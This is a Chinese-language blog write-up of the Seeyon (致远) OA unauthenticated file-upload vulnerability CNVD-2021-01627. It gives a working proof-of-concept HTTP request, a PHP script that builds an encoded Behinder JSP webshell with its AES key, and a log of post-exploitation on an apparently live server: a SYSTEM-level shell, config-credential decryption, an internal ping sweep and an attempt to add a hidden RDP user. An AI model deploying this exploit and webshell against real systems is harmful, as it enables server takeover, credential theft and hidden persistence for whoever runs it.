致远OA未授权访问导致文件上传漏洞复现分析

一、漏洞信息

1
2
3
4
5
6
VUL = ["CNVD_2021_01627"]
VUL_NAME = ["致远OA未授权文件上传漏洞"]
TYPE = ["File Upload"]
DESCRIPTION = '''致远OA旧版本某些接口存在未授权访问,以及部分函数存在过滤不足,攻击者通过构造恶意请求,可在无需登录的情况下上传恶意脚本文件,从而控制服务器。'''
IMPACT = ["致远OA V8.0;致远OA V7.1、V7.1SP1;致远OA V7.0、V7.0SP1、V7.0SP2、V7.0SP3;致远OA V6.0、V6.1SP1、V6.1SP2;致远OA V5.x;致远OA G6"]
补丁地址:https://service.seeyon.com/patchtools/tp.html#/patchList?type=%E5%AE%89%E5%85%A8%E8%A1%A5%E4%B8%81&id=1

二、复现

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /seeyon/autoinstall.do.css/..;/ajax.do?method=ajaxAction&managerName=formulaManager&requestCompress=gzip HTTP/1.1
Host:127.0.0.1
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
loginPageURL=; login_locale=zh_CN;
Content-Type: application/x-www-form-urlencoded
Content-Length: 1152

managerMethod=validate&arguments=%1F%C2%8B%08%00%00%00%00%00%00%03uQ%C3%8BN%C3%830%10%3C%C3%83W%C2%ACrq%2A%C2%8A%23%10B%C2%88%C2%8A%03%15%C3%A5%C2%88%C2%90Z%C3%84%01q0%C3%89%C2%86%C2%BAJl%C3%8B%C3%AB%C3%90TQ%C3%BF%1D%C2%BB%0E%24%12%C3%85%C2%97%7DxvfV%C3%BB%C3%96%C2%B1R%C3%9B%C2%BA%C2%A9%C3%84jg%C2%90%C3%9D%C3%82%C3%85%14%7E%3AO%C2%A2%0E%1D%C3%A6%C2%90%1C%1B%C3%9A%C2%8B%C3%96X%24%C2%92Z%C2%85%C3%8F%C2%A5%C2%B3R%7D%C2%82%11n%0Dw%C2%90p%C2%9Em%C3%B1C%18C%19%21%C3%AE%C2%B4%C3%8A%C2%92%C3%99%29%C3%84w%C2%B2%11_%C2%82K%C3%8D%C2%9F%C3%BD%C2%88%7B%C2%B5%C3%92%C2%A1%053%C3%A4%C2%97%C2%9E%40%C3%A1%16%C2%8E%C3%80%C3%92%C3%80%7F%C2%96%04%27%C2%8Eo%C3%88%C2%B4%C3%89%C3%A4%C2%97%16z%0B%C2%B4%C3%86%C2%AA%0A%1E%02jP%05j%14%C2%AF%25%C3%A5%7C%7E%C2%BF%5C%5C_%3D%60%C2%AE%0B%2F%5C%C3%B41j%1E%07%C2%A5%7FU%C3%A2X_%C3%84%C3%99X%C2%A4%3D%21%C2%8Fq%C3%9E%C2%94%C2%A5%278%C2%98%C2%9AL%C2%93%C2%97%C3%95%C3%A3%C3%B9%C3%8D%C3%98%C3%B4xo%7E%28%2A%C2%95%C2%8E%C3%89%C3%BF%C3%83%C3%A6%C2%95%26%C3%B4%C3%86%C3%B6%C2%B3%C2%B0%C2%A7O%0A%2C%C2%81%C2%9Cp2%C2%87%C2%B6m%C3%93I%C3%87%C3%B6%C3%BEX%C3%BE%60%5D%C2%88%C3%8E6%C3%88%C3%9E%C2%BF%01%C3%B5%C3%A0%1A%C3%96%C3%A7%01%00%00

HTTP/1.1 500
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: application/json;charset=UTF-8
Content-Length: 51
Date: Wed, 13 Jan 2021 05:50:51 GMT
Connection: close

{"message":null,"code":"0517051026","details":null}

生成编码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$webshell = urldecode("%1F%C2%8B%08%00%00%00%00%00%00%0AuTK%C2%93%C2%A2H%10%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%A6d%080eY%C3%B6%1E%5E%C2%BB%3F%C3%A8r%C2%A4%0B%C3%B2%C2%B5%C2%BE%C2%B3K%C3%AEu%C3%BF%C3%BE%17%1CR%C2%AD%17W%05%00%00");
$webshell = iconv("UTF-8","ISO-8859-1",$webshell);
$webshell = gzdecode($webshell);
echo $webshell;
echo "\n";

/* 自行更改脚本自定义上传位置,webshell名字,冰蝎密码 */
$webshell = str_replace("../webapps/seeyon/","../webapps/seeyon/",$webshell);
$webshell = str_replace("PeiQi.jspx","test.jspx",$webshell);
$webshell = str_replace("e45e329feb5d925b","e45e329feb5d925b",$webshell);
$cont = "PGpzcDpyb290IHhtbG5zOmpzcD0iaHR0cDovL2phdmEuc3VuLmNvbS9KU1AvUGFnZSIgdmVyc2lvbj0iMS4yIj48anNwOmRpcmVjdGl2ZS5wYWdlIGltcG9ydD0iamF2YS51dGlsLiosamF2YXguY3J5cHRvLiosamF2YXguY3J5cHRvLnNwZWMuKiIvPjxqc3A6ZGVjbGFyYXRpb24+IGNsYXNzIFUgZXh0ZW5kcyBDbGFzc0xvYWRlcntVKENsYXNzTG9hZGVyIGMpe3N1cGVyKGMpO31wdWJsaWMgQ2xhc3MgZyhieXRlIFtdYil7cmV0dXJuIHN1cGVyLmRlZmluZUNsYXNzKGIsMCxiLmxlbmd0aCk7fX08L2pzcDpkZWNsYXJhdGlvbj48anNwOnNjcmlwdGxldD5TdHJpbmcgaz0iZTQ1ZTMyOWZlYjVkOTI1YiI7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYygoc2Vzc2lvbi5nZXRWYWx1ZSgidSIpKyIiKS5nZXRCeXRlcygpLCJBRVMiKSk7bmV3IFUodGhpcy5nZXRDbGFzcygpLmdldENsYXNzTG9hZGVyKCkpLmcoYy5kb0ZpbmFsKG5ldyBzdW4ubWlzYy5CQVNFNjREZWNvZGVyKCkuZGVjb2RlQnVmZmVyKHJlcXVlc3QuZ2V0UmVhZGVyKCkucmVhZExpbmUoKSkpKS5uZXdJbnN0YW5jZSgpLmVxdWFscyhwYWdlQ29udGV4dCk7PC9qc3A6c2NyaXB0bGV0PjwvanNwOnJvb3Q+";
/* /* 也可以修改文本内容,注意是base64 */
$cont2 = "**";
$webshell = str_replace($cont,$cont2,$webshell);
echo $webshell;
echo "\n";

$webshell = gzencode($webshell);
$webshell = iconv("ISO-8859-1","UTF-8" ,$webshell);
$webshell = urlencode("$webshell");
echo $webshell;

?>

复现:

image-20210114155417136

访问:

image-20210115154054327

三、记录

冰蝎连接

image-20210118102552786

1
system权限

image-20210115155229060

单网卡,ESC 没内网,估计没啥能玩的了

image-20210115154532843

找到配置文件,尝试连接没成功,后来发现是因为没解密对,可以参考https://github.com/jas502n/OA-Seeyou进行解密。

image-20210118103608860

1
query user

image-20210118104147304

1
对外开放了端口:1433,3389,9000,80
1
for /L %I in (1,1,254) DO @ping -w 1 -n 1 172.31.101.%I | findstr "TTL="

image-20210118103828931

1
尝试添加隐藏用户 3389连接,提示内部错误,查了下貌似是远程服务太忙或者用户远程桌面登录后断开没有注销导致

参考链接:

致远OA ajax.do登录绕过任意文件上传CNVD-2021-01627

致远OA数据库配置文件